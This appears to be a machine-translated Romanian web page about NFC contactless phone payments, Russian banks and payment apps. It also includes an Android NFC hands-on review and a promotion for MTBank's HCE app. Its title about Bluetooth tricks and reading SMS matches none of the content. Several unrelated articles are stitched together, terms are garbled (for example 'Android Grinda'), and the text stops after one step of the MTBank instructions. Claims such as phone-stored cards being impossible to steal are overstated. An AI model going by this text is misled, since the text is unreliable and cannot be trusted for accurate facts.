Trucuri Bluetooth: mici trucuri pentru utilizarea dintelui albastru. Cum să citiți SMS-urile pe telefon prin intermediul unui computer: instrucțiuni și recomandări pas cu pas

În urmă cu câțiva ani, un telefon mobil era doar un dispozitiv pentru apeluri și SMS-uri, dar vremurile se schimbă, iar astăzi, folosind un telefon mobil, poți să navighezi pe internet, să asculți muzică, să transferi fișiere prin e-mail, să faci fotografii și multe altele. Mai mult. Când mergi la magazin, acum poți lua și un smartphone, deoarece datorită aplicației pentru mobil a devenit ușor să plătești prin telefon în loc de card sau cash.

Ce este plata contactless prin telefon?

Pentru a înțelege cum are loc procesul de plată, merită să înțelegeți tehnologiile contactless. Un card de plată este o bucată de plastic cu un microprocesor cusut în ea. Instituțiile bancare achiziționează semifabricate de la producător și înregistrează informații pe cip. Telefonul mobil are și un cip, astfel încât informațiile de plată ale clientului pot fi înregistrate pe el. Aceasta înseamnă că un telefon mobil în sine poate fi un mijloc de plată, la fel ca și fără contact Card de credit. Acest lucru se poate datora utilizării sistemului NFC, care este ceva asemănător cu Wi-Fi și Bluetooth.

Tehnologia NFC

Comunicarea în câmp apropiat, abreviată ca NFC, este utilizată pentru a face schimb de informații între terminalul de plată și smartphone. Ajută la schimbul de informații pe o distanță scurtă de aproximativ 4 cm. Trăsătură distinctivă Tehnologia NFC este că nu este nevoie să introduceți parole și date de conectare de fiecare dată. Trebuie doar să atingeți dispozitivele unul cu celălalt și plata se va face folosind telefonul dvs. în loc de card. Această tehnologie este utilizată în producția de carduri de transport.

Ce bănci acceptă NFC

Una dintre primele instituții bancare care a introdus plățile prin telefon mobil în locul cardurilor pentru clienți a fost Sberbank, deoarece reprezintă cea mai mare parte a utilizatorilor de carduri de credit. Următorul să introducă oportunitatea folosind NFC, era Alfa Bank. Adevărat, au lucrat cu sisteme Samsung Plătește și Apple Pay. După lansarea aplicației pentru Android, alte bănci au lansat un serviciu de plăți cu gadgeturi:

  • VTB24;
  • Ak Bars;
  • Binbank
  • Deschidere;
  • Rocketbank;
  • Punct;
  • MTS-Bank;
  • Promsvyazbank;
  • Raiffeisenbank;
  • Banca Rosselhoz;
  • standard rusesc;
  • Tinkoff.

Funcția de plată prin telefon

Pentru a putea plăti prin telefon în loc de card, trebuie să existe un cip NFC. Modelele mai vechi trebuie să aibă și un microprocesor Secure Element, unde sunt înregistrate datele aplicației de plată. Cipul poate fi încorporat placa de baza sau se află pe o cartelă SIM sau pe un card de memorie. Datorită introducerii funcției Host Card Emulation (HCE) în telefoanele noi, datele despre cardurile de plastic pot fi stocate direct în aplicația în sine.

Ce modele de smartphone-uri au o versiune preinstalată?

Dacă anterior o versiune preinstalată a programului, cu care se putea plăti prin telefon în loc de card, a fost găsită doar în unele modele, atunci în această etapă, proprietarii oricăror smartphone-uri cu funcție FNC își pot lăsa portofelul în siguranță. acasă. Pentru a merge la cumpărături, restaurante, cafenele, trebuie doar să iei telefonul mobil cu tine, deși neapărat trebuie să fii atent dacă punctul de vânzare are un terminal care acceptă plata contactless.

Cereri de plată prin NFC

Înainte de a plăti cu telefonul în loc de card, trebuie să instalați o aplicație specială care vă va ajuta să vă conectați cardul de credit la telefonul mobil. Astăzi există mai multe dintre ele, așa că există multe dintre care să alegeți:

  • Yandex.Bani. Aplicația este instalată pe gadget, după care trebuie să mergeți la meniu și să selectați secțiunea „Plăți fără contact”. Utilizatorul va avea acces la un card virtual MasterCard și va fi trimis un cod PIN către telefon, care va fi necesar pentru a plăti bunuri și servicii care costă mai mult de 1.000 de ruble sau pentru a retrage numerar de la bancomate.
  • Portofel Visa QIWI. Mai întâi, trebuie să descărcați aplicația pe telefon și să o conectați la smartphone. Pentru a face acest lucru, veți avea nevoie de un cod care va fi trimis utilizatorului prin SMS. După aceasta, proprietarul trebuie să vină cu o parolă care să protejeze sistemul de plată. Pentru a plăti, trebuie doar să deblocați ecranul telefonului și, pentru achiziții în valoare de peste 1.000 de ruble, să semnați chitanța sau chiar să introduceți un cod.
  • Portofel. Carduri bancare. Instalat pe un smartphone de la Google Playși funcționează pe gadgeturi cu Android 4.4 și versiuni ulterioare.
  • Samsung Pay. Aplicația este instalată pe telefoanele companiei. Pe lângă faptul că plata prin NFC este posibilă, utilizatorii au primit și MST (Magnetic Secure Transmission). Dacă primul funcționează numai cu terminale care acceptă plăți fără contact, atunci al doilea funcționează cu toate terminalele prin care puteți plăti cu carduri cu bandă magnetică, deoarece în activitatea sa creează un „semnal similar”.
  • Apple Pay. Serviciul integrat în aplicația Wallet permite tuturor utilizatorilor gadgeturilor produse de Apple să le folosească atunci când efectuează plăți prin terminale plata contactlessși online în unele magazine online.

Cum să configurați NFC pentru plățile cu cardul

Pentru utilizatorii de telefoane cu sistemul de operare Android, pentru a activa funcția NFC, trebuie să intrați în meniu și să selectați secțiunea „Rețele fără fir”. Acolo trebuie să selectați subcategoria „NFC” și să activați modulul. În acest caz, funcția Android Beam este activată automat, accelerând aplicația. Dacă acest lucru nu se întâmplă, trebuie să îl activați singur. Pentru posesorii de Windows Phone, în secțiunea „Setări”, trebuie să selectați categoria „Dispozitive”, unde puteți activa funcția NFC.

Încărcarea unei hărți în telefon

Nu va fi dificil să legați cardul la aplicația selectată, deoarece în timpul identificării utilizatorului i se va cere să introducă date. Merită să luați în considerare faptul că unele aplicații, cum ar fi Yandex.Money, emit și oferă utilizarea propriei carduri virtuale. Pentru a rezuma, putem spune că plata NFC prin telefon este posibilă cu un card de credit MasterCard PayPass sau VISA PayWave existent, sau cu unul virtual, care se eliberează după instalarea aplicației.

Managementul cardurilor

Aplicațiile permit utilizatorilor smartphone-uri iPhone, Samsung, HTC, LG și alții leagă diferite carduri. Dacă este necesar, puteți șterge datele vechi ale cardului de credit și puteți introduce altele noi. Pentru posesorii de iPhone, cardul de plată implicit este primul card de credit introdus. Daca au fost introduse alte carduri, atunci in aplicatie trebuie sa il indicati pe cel care are prioritate.

Aplicația CardsMobile Wallet

În 2015, aplicația „Portofel” a fost lansată în Rusia (versiunea beta „Cloud” a aplicației se numește „Portofel. Carduri bancare”), care a fost inițial încorporată în unele modele de smartphone-uri. Acum poate fi descărcat de pe Google Play absolut gratuit și folosit pe dispozitive mobile cu sistemul de operare Android versiunea 4.4 și o versiune ulterioară. După înregistrare, trebuie să selectați unul dintre cardurile instituțiilor propuse și să completați anumite date. Proprietarul telefonului poate profita de condițiile cardurilor de credit preplătite de la băncile Tinkoff, Russian Standard, Sankt Petersburg.

Plătiți cu un smartphone ca card

Puteți încărca mai multe carduri într-un singur gadget simultan. Plata cu cardul prin telefon este complet sigură și are loc prin canale securizate. Este imposibil să furi un astfel de card de credit, nimeni nu vede nici codul PIN, nici detaliile. Când utilizați metoda de plată tactilă, terminalul nu folosește datele cardului, ci doar cod digital, care este sigur chiar dacă există posibilitatea de fraudă, deoarece nu conține nicio informație. Plata prin telefon în loc de card nu necesită o conexiune la Internet, ceea ce reprezintă un avantaj atunci când o folosiți în locul unui card de credit în străinătate.

Unde sunt acceptate plățile contactless?

Tehnologia de plată fără contact este convenabilă. Un telefon cu NFS poate fi folosit în unitățile de vânzare cu amănuntul atunci când plătiți pentru achiziții. Pot plăti cu ușurință în restaurante, pentru călătorii cu trenul Aeroexpress și la casele de bilete de metrou. Puteți plăti pentru bunuri sau servicii oriunde există o posibilitate reală de a efectua tranzacții folosind terminale de plată contactless. Dacă aplicația Samsung Pay este activată, capacitatea de a plăti cu o atingere a telefonului în loc de cardul de credit crește, deoarece tranzacția poate fi efectuată cu aproape orice terminal, nu numai la Moscova, ci în toată țara și chiar în străinătate.

Cum să plătești prin telefon într-un magazin

Înainte de a plăti cu un telefon cu NFC, trebuie să lansați chiar acest modul în el accesând meniul smartphone-ului. Dacă programul o cere, trebuie să activați programul folosind codul introdus anterior. Când te apropii de terminal, ar trebui să pornești ecranul și să aduci smartphone-ul la cititor. Toate tranzacțiile de până la 1000 de ruble. sunt plătite automat, toate celelalte vor necesita introducerea unei parole de plată sau confirmarea tranzacției cu o semnătură.

Reîncărcare card

Plata prin NFC necesită un sold pozitiv pe card. Din acest motiv, trebuie să vă încărcați contul. Acest lucru se poate face în aplicația în sine folosind card de plastic alte bănci sau prin servicii speciale institutii bancare. Sistemele internaționale de plată garantează siguranța procesului de folosire a telefonului mobil în loc de plastic, precum și a transferului numerar se întâmplă rapid - în câteva minute.

Video

Combinația „NFC” (Near field communication) se găsește din ce în ce mai mult în specificațiile smartphone-urilor și tabletelor moderne. În acest articol vom încerca să luăm în considerare această interfață din punct de vedere utilizare practică, astfel încât cititorii să poată trage în mod independent propria concluzie despre necesitatea de a o avea pe telefon.

În testare, am folosit două modele de smartphone care au fost deja revizuite în detaliu pe resursa noastră: Acer CloudMobile S500 și Sony Xperia acro S. De asemenea, dorim să subliniem că majoritatea informațiilor, inclusiv programele și cazurile de utilizare descrise, se vor aplica numai pentru smartphone-urile Android. Acest sistem de operare este astăzi cel mai „prietenos” când vine vorba de lucrul cu NFC.

Introducere

La prima vedere, poate părea că numeroase interfețe fără fir astăzi acoperă deja toate sarcinile și scenariile populare posibile, așa că o altă opțiune pur și simplu nu este necesară. Cu toate acestea, dacă te uiți la dezvoltarea tehnologiilor moderne, vei observa că se acordă din ce în ce mai multă atenție problemelor de consum de energie, mai ales când vine vorba de dispozitive mobile. În special, versiunea 4.0 a binecunoscutei familii de protocoale Bluetooth vizează tocmai reducerea costurilor bateriei. Al doilea punct care merită menționat este că nu orice sarcină necesită o rază lungă. Se întâmplă chiar și invers - doriți să limitați în mod explicit distanța dintre dispozitivele care interacționează. Pe lângă reducerea evidentă a consumului, aceasta afectează și siguranța. Și o remarcă similară poate fi făcută despre volumul datelor transmise. Deci ideea unei interfețe fără fir lentă care rulează distante scurteși caracterizată prin consum redus de energie are dreptul de a exista.

Punctul de plecare în istoria dezvoltării NFC poate fi luat în 2004, când Nokia, Philips și Sony au anunțat crearea unei interfețe bazate pe atingere pentru interacțiunea diferitelor dispozitive cu scopul de a dezvolta și standardiza interfața dintre diverse dispozitive. Cu toate acestea, primele versiuni ale specificațiilor au fost create puțin mai devreme. Poate că, după standardele moderne, tehnologia poate fi considerată foarte tânără (dacă nu țineți cont de istoria RFID), dar este deja destul de des întâlnită în produsele și serviciile reale. În special, la Mobile World Congress 2013 care a avut loc la sfârșitul lunii februarie, multe standuri și demonstrații au fost dedicate acestui subiect.

Acest semn poate fi găsit pe dispozitivele cu tehnologie NFC

Caracteristicile formale ale interfeței sunt următoarele: funcționare la o distanță de câțiva centimetri, viteza maxima schimbul de informații este de aproximativ 400 Kbps, schimbul de date full-duplex este acceptat, frecvența de operare este de 13,56 MHz, timpul de stabilire a conexiunii nu depășește 0,1 s, modul de operare este punct la punct. Se poate observa că acești parametri disting radical NFC de alte interfețe wireless populare.

Dacă vorbim despre dispozitive, atunci pe lângă controlerele active în NFC există și opțiuni pasive (de obicei se numesc etichete) care primesc putere fără fir de la controlerul activ. Un exemplu este hărți moderne pentru călătorii cu mijloacele de transport în comun. Etichetele sunt pur și simplu stocare de date, de obicei cu o dimensiune mai mică de 4 KB. Cel mai adesea, acestea oferă doar modul de citire, dar există și opțiuni cu suport de scriere.

Una dintre cele mai simple opțiuni pentru o etichetă NFC pasivă

Dimensiunea compactă a controlerului și a acestuia consum redus permite implementarea NFC chiar și în modele mici, cum ar fi cartelele SIM sau cardurile memorie microSD. Cu toate acestea, pentru o funcționare completă este necesar să folosiți o antenă specială. Pe telefoane se află de obicei pe partea din spate capacul compartimentului bateriei sau încorporat panoul din spate, dacă dispozitivul nu are o baterie detașabilă.

Antena NFC este adesea plasată coperta din spate smartphone

O rază scurtă de acțiune poate avea un impact negativ atunci când utilizați tablete - găsiți locul potrivit căci „atașamentul” poate să nu fie atât de ușor pe cât ne-am dori. Pentru a rezolva această problemă, unii producători marchează locația antenei semn special. În ceea ce privește raza de acțiune, în cazul nostru conexiunea a funcționat la o distanță de cel mult patru centimetri - atât între telefoane, cât și cu o etichetă pasivă.

Din punct de vedere al securității, dezvoltatorii nu au implementat elemente de protecție împotriva atacurilor de interceptare și releu. Acest lucru face, desigur, dificil de implementat soluții sigure, deoarece necesită mai multă protecție față de aplicațiile în sine nivel înalt. Rețineți că, de fapt, un astfel de protocol bine-cunoscut precum TCP/IP se comportă în mod similar. Deci, din punct de vedere practic, este mai periculos să-ți pierzi telefonul fără protectie suplimentara cu programe de sistem de plată personalizate decât interceptarea comunicațiilor.

Poate cel mai important lucru de știut despre NFC astăzi este că interfața în sine nu oferă niciun caz sau soluție reală de utilizare practică. Spre deosebire, de exemplu, de Bluetooth, ale cărui profiluri descriu în mod clar cum se transferă un fișier, cum se conectează o cască sau se oferă acces la rețea, NFC este doar o bază, iar scenariile de operare directe sunt furnizate de software-ul suplimentar care funcționează prin intermediul acestuia. Pe de o parte, aceasta se deschide oportunități ample pentru dezvoltatori, iar pe de altă parte, este o problemă pentru aceștia atunci când asigură interacțiunea diferitelor aplicații și dispozitive.

Interesant este că orice program instalat pe un smartphone sau pe o tabletă se poate înregistra în sistemul de operare ca handlere de evenimente legate de NFC, iar atunci când sunt apelate extern, veți vedea meniu standard„Cum doriți să efectuați această acțiune?” Deoarece unele cazuri de utilizare NFC implică automatizarea convenabilă a acțiunilor, este recomandabil să nu supraîncărcați dispozitivul cu astfel de utilități.

Forumul NFC încearcă să ajute cu această incertitudine propunând standardizarea protocoalelor pentru anumite scenarii (în special NDEF pentru stocarea mesajelor scurte pe etichete și SNEP (Simple NDEF Exchange Protocol) pentru schimbul de informații între dispozitive), totuși definiție practică compatibilitatea anumitor dispozitive este de obicei împiedicată de lipsa informatii detaliate de la producător și instrumente de diagnosticare. Un alt asistent aici este Google, care a oferit ultimele versiuni Android propriu Dezvoltare Android Grinda. Vă permite să faceți schimb de anumite tipuri de informații între dispozitive compatibile.

Android Beam

În primul rând, trebuie să vă asigurați că ambele dispozitive au NFC activat, Android Beam activ și că ecranele lor sunt deblocate. La modelele pe care le-am testat, NFC funcționează doar dacă ecranul este pornit și dispozitivul este complet deblocat. Dar poate că alte dispozitive vor folosi un alt algoritm. În orice caz, interfața activă necesită foarte puțină energie a bateriei pentru a funcționa, iar până acum abordarea descrisă pare destul de rezonabilă. O opțiune pentru a vă simplifica munca este să dezactivați ecranul de blocare. În acest caz, pentru a identifica eticheta, va fi suficient să porniți pur și simplu smartphone-ul. Un alt inconvenient este necesitatea confirmarii operatiei prin atingerea ecranului dupa ce dispozitivele se gasesc intre ele. Acest lucru nu este întotdeauna ușor de făcut fără a întrerupe comunicarea, mai ales când ambele dispozitive sunt în mâinile a două persoane diferite.

Următorul pas este să selectați una dintre aplicațiile de pe dispozitivul de pe care intenționați să transferați. În special, acestea pot fi:

  • Google Chrome - transferați linkul deschis curent;
  • Client YouTube - transferul unui clip video (ca link);
  • Google Maps - transferul unui loc sau al unui traseu;
  • Contacte — transferați o cartelă de contact;
  • Google Play - transfer aplicație;
  • Galerie - transfer de fotografii.

Apoi, aduceți dispozitivele mai aproape unul de celălalt. Când este detectat un partener, veți auzi un ton pe dispozitivul care trimite și imaginea de pe desktop se va micșora. În acest moment, trebuie să atingeți imaginea de pe ecran și să țineți degetul până când auziți al doilea semnal - despre un transfer reușit.

Am încercat opțiunile enumerate și aproape toate funcționează cu adevărat. Chiar și faptul că dispozitivele noastre au fost produse de diferiți producători nu i-a împiedicat să găsească limbaj comun. Dar câteva comentarii merită totuși făcute. Nu există probleme cu traseele în Google Maps, dar opțiunea cu un loc nu este foarte interesantă, deoarece se transmite doar afișarea actuală a hărții. Punctul marcat pe ecranul telefonului original nu ajunge la destinatar. Situația poate fi corectată folosind aplicația Adrese, care transmite datele corect. La trimiterea contactelor, fotografia se pierde, deoarece din punct de vedere tehnic formatul de transfer corespunde fișierelor text vcf. Dacă vorbim despre aplicații, atunci le poți trimite nu numai pe cele instalate pe telefon, ci și pur și simplu deschideți carduri pe Google Play. Cărțile și alt conținut din magazin sunt acceptate în mod similar. Desigur, vorbim despre transferul de link-uri, și nu despre elementele descărcate sau, mai ales, achiziționate în sine. A apărut o problemă la trimiterea fotografiilor: dispozitivul Sony nu a putut funcționa cu acest tip de date. Formularea oficială este „Dispozitivul destinatarului nu acceptă transferul volume mari date prin Android Beam." Iată primul semn că interfața este tânără sau că specificațiile tehnice ale dispozitivelor sunt insuficient de detaliate. Formal, avem atât NFC, cât și Android Beam în două dispozitive, dar, în practică, capacitățile lor reale diferă semnificativ, iar acest lucru poate fi aflat doar verificând. Ce putem spune despre producătorii mai puțin renumiți - versiunea lor de implementare a acestei tehnologii poate fi complet imprevizibilă.

Apropo, în cea mai mare parte Funcționează Android fascicul. Descrierea tehnologiei indică faptul că transmisia de date utilizează comunicarea Bluetooth după coordonarea inițială a setărilor prin NFC. Având în vedere că toate formatele de lucru necesitau o cantitate foarte mică de date transferate, viteza NFC a fost destul de suficientă pentru ei, dar pentru fotografii nu ar fi fost în mod clar suficientă. Deci putem presupune că Sony nu a implementat trecerea la o interfață mai rapidă. Nu este posibil să înțelegeți dacă această problemă este software (rețineți că acest dispozitiv are instalat Android 4.0.4) sau hardware.

De asemenea, am încercat să trimitem propria noastră muzică și videoclipuri în același mod din aplicațiile respective, dar nu a apărut nimic pe receptor.

Citirea și scrierea etichetelor

Android Beam descris folosește capacitatea de a transmite și procesa mesaje scurte de informații. Cu toate acestea, în realitate, acestea nu pot fi transmise doar de pe telefon, ci și citite din etichete pasive. Într-un fel, această tehnologie este asemănătoare cu binecunoscutele coduri QR care sunt citite de camera unui telefon. În același timp, informațiile utile (de exemplu, un link către o pagină web) ocupă literalmente câteva zeci de octeți. Etichetele pot fi folosite de companii, de exemplu, pentru a-și promova produsele sau serviciile. Având în vedere dimensiune compactă etichetă pasivă (mai precis, o grosime comparabilă cu o foaie de hârtie - din cauza antenei, zona va fi în continuare semnificativă, nu mai puțin de o monedă de cinci ruble), poate fi plasată aproape oriunde: pe o cutie cu un produs , într-o revistă, pe un birou de informare etc. locuri.

Pasiv Etichete NFC pot fi realizate sub formă de brelocuri

Dacă vorbim despre realizarea de etichete cu propriile noastre mâini, atunci acesta este un scenariu complet fezabil. Pentru a face acest lucru, trebuie să cumpărați semifabricate curate și să utilizați program special pentru telefon, notați informațiile necesare pe ele. De exemplu, am cumpărat mai multe opțiuni diferite: un autocolant de grosime minimă, un cerc de plastic protejat și brelocuri. Toate aveau o cantitate foarte mică de memorie - doar 144 de octeți (există și opțiuni de 4 KB pe piață). Numărul de cicluri de rescriere nu a fost specificat, dar pentru majoritatea scenariilor de aplicație acest parametru nu este critic. Pentru a lucra cu etichete, vă putem recomanda programele NXP Semiconductors - TagInfo și TagWriter.

Primul vă va permite să citiți datele din etichetă și să decriptați informațiile conform standardului NDEF, iar al doilea vă va ajuta să vă creați propriile etichete. Sunt acceptate mai multe subopțiuni NDEF: contact, link, text, SMS, mesaj poștal, număr de telefon, conexiune Bluetooth, locație geografică, link către fișier local, lansarea aplicației, URI. Vă rugăm să rețineți că atunci când creați o înregistrare, trebuie să luați în considerare cantitatea de date stocată. De exemplu, o fotografie de contact poate ocupa mai mulți kiloocteți, mesajele sau textul pot depăși cu ușurință 144 de octeți. Apropo, Programul NFC TagInfo de la NFC Research Lab cu un plugin special poate citi și vă poate arăta o fotografie color dintr-un pașaport biometric. Cu un volum de date de o duzină și jumătate de kiloocteți, citirea lor prin NFC durează aproximativ 20 de secunde. Nivel suplimentar de protecție în în acest caz, este asigurata de necesitatea specificarii unor detalii de pasaport pentru a citi datele de pe cip.

Rețineți că procesarea automată a etichetelor citite depinde de conținut. În special, uneori este necesară o confirmare suplimentară pentru a efectua acțiunea în sine. De exemplu, în cazul unui SMS, se deschide un formular de mesaj completat, dar utilizatorul trebuie să confirme efectiv trimiterea. Dar linkul web înregistrat se poate deschide imediat în browser. Orice automatizare este asociată cu o pierdere a controlului, așa că capacitățile descrise trebuie utilizate cu atenție, deoarece prin simpla înlocuire sau reprogramare a etichetelor, atacatorii vă pot redirecționa către un site fals în loc de cel original. Nu am găsit setări standard ale sistemului de operare care să limiteze o astfel de rulare automată (cu excepția cazului în care dezactivați NFC în sine).

Altul punct important la utilizarea etichetelor în locuri publice, protecție împotriva suprascrierii. Când înregistrați o etichetă, puteți seta un flag de protecție care va bloca toate încercările de modificare a informațiilor, dar nu va mai fi posibilă eliminarea acesteia. Deci, eticheta va fi folosită în modul numai citire în viitor. Pentru uz casnic, în majoritatea cazurilor acest lucru nu este foarte critic.

Să mai menționăm câteva programe pentru înregistrarea etichetelor:

Folosind etichete gata făcute pentru a controla dispozitivul

Unul dintre participanții activi la procesul de implementare a NFC este Sony. Dispozitivele sale vin preinstalate cu programul Smart Connect, care acceptă lucrul cu etichetele originale Sony. Dacă doriți, folosind utilitarul SmartTag Maker, le puteți crea singur din spații goale. Sistemul folosește formatul NDEF URI cu codificarea numărului/culorii etichetei în link-ul text. În total, sistemul oferă până la opt etichete, care sunt desemnate drept „acasă”, „birou”, „mașină”, „dormitor”, „ascultă”, „joacă”, „activități”, „vizionare”.

Varianta SmartTag-urilor Sony originale

Programul Smart Connect în sine funcționează nu numai cu etichete NFC, ci și cu alte dispozitive conectate la telefon, inclusiv căști, surse de alimentare și dispozitive Bluetooth. Destul de convenabil ca setări standard corespund deja bine scenariilor de mai sus. În acest caz, utilizatorul poate reprograma toate circuitele; fiecare dintre ele specifică un set de condiţii şi acţiuni.

Ca o condiție, puteți utiliza identificarea etichetei sau conexiunea dispozitivului și puteți limita suplimentar timpul de funcționare al circuitului. Setul de acțiuni este destul de larg, include lansarea unei aplicații, deschiderea unui link în browser, lansarea muzicii, reglarea volumului și a modului, conectarea unui dispozitiv audio Bluetooth, trimitere SMS, apelați, controlați interfețele wireless, reglați luminozitatea și alte acțiuni. Mai mult, pot fi atribuite și să iasă din acest mod, care se realizează prin recunoașterea repetată a etichetei, printr-un nou eveniment/etichetă sau prin expirarea unui interval de timp specificat.

Dar, de fapt, nu este necesar să folosiți etichete marca Sony - puteți găsi și etichete gata făcute care nu permit suprascrierea informațiilor. De exemplu, acestea ar putea fi folosite carduri de transport. Faptul este că fiecare dintre ele are propriul său identificator unic, care poate fi legat de anumite acțiuni folosind programe speciale. Reacțiile posibile pot include operațiuni precum schimbarea profilului, activarea/dezactivarea interfețelor și multe altele.

În magazin Magazin Play Există mai multe utilități pentru acest scenariu, să menționăm câteva dintre ele:

Să vă reamintim că nu ar trebui să instalați mai multe simultan. programe similare. Acest mod nu va adăuga nicio comoditate, deoarece atunci când o etichetă este detectată pe ecranul telefonului, va apărea o casetă de dialog care vă va cere să selectați un program pentru a o procesa.

În timp ce căutăm programe pentru lucrul cu etichete, am găsit și o altă clasă de utilitare care ar putea fi de interes dacă există etichete care pot fi înregistrate. Aceste programe folosesc propriul format de înregistrare original, cu care numai ei pot lucra. În acest caz, setul de acțiuni posibile nu diferă aproape deloc de cele descrise mai sus:

Să vă reamintim că în acest moment eticheta poate fi citită doar atunci când dispozitivul este deblocat. Așadar, scenariul „a venit acasă, a pus telefonul pe noptieră - a schimbat automat profilul, a dezactivat apelul și Bluetooth, a setat alarma” va necesita unele acțiuni din partea utilizatorului. Acest comportament încă limitează ușor capacitățile programelor.

Schimbați informații între dispozitive

Cu excepția Android Beam, scenariile descrise mai sus presupun funcționarea unui singur telefon cu etichetă sau a unui terminal specializat. Dacă vorbim despre conectarea directă a dispozitivelor între ele, atunci problema principală aici este compatibilitatea. Desigur, în cazul produselor de la un producător, mai ales unul mare, acel producător are posibilitatea de a instala pur și simplu programul corespunzător în firmware. Dar dacă dispozitivele sunt produse de diferiți producători, toată lumea va trebui să folosească aceleași utilități. Și nu este deloc un fapt că partenerul tău va avea același program instalat ca al tău.

Având în vedere că viteza nativă a NFC este foarte mică, pt transfer rapid fișierele sunt de obicei folosite Bluetooth sau Wi-Fi, iar NFC funcționează doar în etapa de negociere a parametrilor de conectare și de stabilire a comunicării. Pentru a testa acest scenariu, am încercat mai multe programe de transfer de fișiere pe dispozitivele noastre care pretind că acceptă NFC.

Trimite! Transfer de fișiere(NFC) în versiunea gratuită vă permite să partajați fotografii, muzică și videoclipuri. Puteți utiliza coduri NFC sau QR pentru a stabili comunicarea. Transferul se realizează prin Bluetooth sau Wi-Fi (dacă ambele dispozitive au suport pentru Wi-Fi Direct, ceea ce nu avea telefonul Sony pe care l-am folosit). Drept urmare, am putut vedea o viteză de 65 KB/s, care, desigur, este prea mică chiar și pentru fotografii.

Blue NFC, așa cum sugerează și numele, simplifică, de asemenea, partajarea fișierelor prin Bluetooth prin înlocuirea pașilor de pornire, căutare și asociere cu partajarea tactilă și NFC. Viteza de operare nu este foarte mare - la nivelul programului menționat mai sus.

File Expert HD folosește și Bluetooth, dar viteza este deja de 100-200 KB/s. Adevărat, în dreptate, merită remarcat faptul că acest program are multe alte moduri de partajare a fișierelor.

Concluzie

Din primăvara lui 2013, putem spune că tehnologia NFC ocupă deja cu încredere un loc în smartphone-urile moderne de nivel înalt și mediu. Interesul pentru acesta poate fi evaluat indirect prin numărul de programe din Play Store: există deja câteva sute de proiecte gratuite. Având în vedere dominația pe piață (în special în ceea ce privește numărul de modele) a platformei Android, aceasta este cea mai populară platformă pentru dispozitivele NFC în prezent. iOS nu oferă mijloace standard pentru NFC, dar Windows Phone 8 are în mod semnificativ oportunități limitate lucrați cu NFC pentru aplicații terță parte.

Tehnologia NFC în sine are mai multe caracteristici care îi permit să ocupe o poziție unică:

  • transfer de date fără contact;
  • lucrați numai pe distanțe scurte;
  • capacitatea de a schimba informații cu alte dispozitive sau etichete pasive;
  • soluție low cost;
  • consum redus de energie;
  • viteza redusa transfer de date.

În prezent, pentru smartphone-uri și tablete, există trei opțiuni cele mai relevante pentru utilizarea NFC: schimbul de date între dispozitive (contacte, aplicații, linkuri, fotografii și alte fișiere), citirea etichetelor cu informații speciale și schimbarea modurilor/setărilor/profilurilor dispozitivului, asociere rapidă cu dispozitive periferice (cum ar fi căștile). În primul caz, puteți încerca să lucrați cu program standard Android Transmite sau instalează opțiuni alternative. Ele pot fi utile dacă aveți nevoie de viteze mari de transfer (prin Wi-Fi), dar necesită acelasi program pe fiecare dispozitiv.

Etichetele pasive pot fi folosite aproape oriunde, de la postere la reviste la etichete de produse. Puteți nota informații despre produs, un link către site-ul web, setări Wi-Fi, informații de contact, coordonate geografice sau altă cantitate mică de date. Răspândirea acestei metode de schimb de informații depinde direct de numărul de dispozitive compatibile pe care le au utilizatorii. Acest scenariu poate fi comparat cu codurile QR obișnuite, care astăzi sunt, probabil, încă mai simple din punct de vedere al implementării și mai populare.

Pentru a modifica setările sistemului, puteți folosi chiar și etichete neînregistrabile cu unele programe, astfel încât mulți utilizatori vor putea încerca acest scenariu. Cu toate acestea, trebuie menționat că în acest caz setul de opțiuni va fi înscris dispozitiv specific, iar transferul acestuia pe alt dispozitiv poate fi dificil. Majoritatea utilităților în acest scop necesită în continuare propriile etichete înregistrate, ceea ce le permite să stocheze toate informațiile necesare în formă codificată direct în etichetă (sau cloud), astfel încât pentru a utiliza aceste setări pe alt dispozitiv, va fi suficient să aibă același program pe el.

Nu am luat în considerare în acest articol astfel de cazuri de utilizare NFC ca sisteme de plată, portofele electroniceși microplăți, bilete și cupoane, carduri de transport și abonamente. Aceste subiecte, în special primul, merită o analiză separată. Vom încerca să revenim asupra lor dacă există interesul cititorilor și răspândirea unor astfel de soluții.

împreună cu sistem de plată MasterCard și compania de dezvoltare D8 Corporation au lansat o nouă tehnologie pentru plata rapidă și sigură pentru achiziții: acum cardul tău bancar este mutat pe smartphone-ul tău!

Imagina: Există o coadă într-un hipermarket, clienții zăbovesc la casă atât de mult - cel mai adesea plătesc în numerar, colectează suma necesară și așteaptă mult timp pentru schimbare de la casierie. Dar acum este rândul tău și cu o „mișcare ușoară a mâinii tale” plătești instantaneu pentru achiziția, doar atingând terminalul cu telefonul mobil!

Smartphone-ul mereu la îndemână

Telefoanele mobile au încetat de mult să mai fie doar un mijloc de a efectua apeluri și de a trimite SMS-uri: acum sunt Internet, cărți, muzică, hărți și navigație, fotografii și e-mail și multe altele. Există dovezi că o persoană obișnuită se uită la ecranul smartphone-ului său de 150 de ori pe zi! Este mai probabil să ne uităm portofelul acasă decât telefonul, care stochează toate informațiile de care avem nevoie. Este destul de clar că au apărut și tehnologii cu ajutorul cărora telefonul se transformă într-un mijloc de plată fără numerar nu numai pe internet, ci și într-un magazin obișnuit. În special, tehnologia de plată fără contact MasterCard, cu care plasticul a încetat să fie singurul transportator al unui card bancar.

Cu inovațiile MasterCard, clienții MTBank au acum posibilitatea de a descărca un card bancar pe telefonul lor. De la începutul lunii februarie, puteți descărca gratuit aplicația MTBank de pe Google Play - MTBank HCE (H&S) - prima aplicație mobilă din Belarus cu care puteți plăti bunuri și servicii cu o singură atingere a smartphone-ului dvs. NFC la un terminal cu tehnologie fără contact. Pentru că cardul este acum pe telefonul tău! Să ne dăm seama cum funcționează totul.

Cum este transferat un card bancar pe un smartphone

De fapt, fiecare card modern de plată este un microprocesor plasat într-o bucată de plastic. Băncile achiziționează carduri „albe” și își scriu cererea cu „datele de plată” ale clientului pe ele. Concluzie: plasticul este doar un mediu de stocare, care ar putea fi, de exemplu, un smartphone. La urma urmei, fiecare dispozitiv are un procesor care este de mii de ori mai puternic decât cel de pe cardul de plastic.

Tehnologia Near Field Communication (NFC), similară Bluetooth sau WiFi, este utilizată pentru a face schimb de date între smartphone și terminalul de plată.

Această tehnologie permite dispozitivelor să facă schimb de date la o distanță foarte scurtă - aproximativ 4 cm Astăzi, este implementată pe smartphone-uri și televizoare în timpul producției.

Ce ar trebui să fac pentru a plăti cu smartphone-ul meu dintr-o singură atingere?

Descărcați aplicația gratuit MTBank HCE pe Google Play.

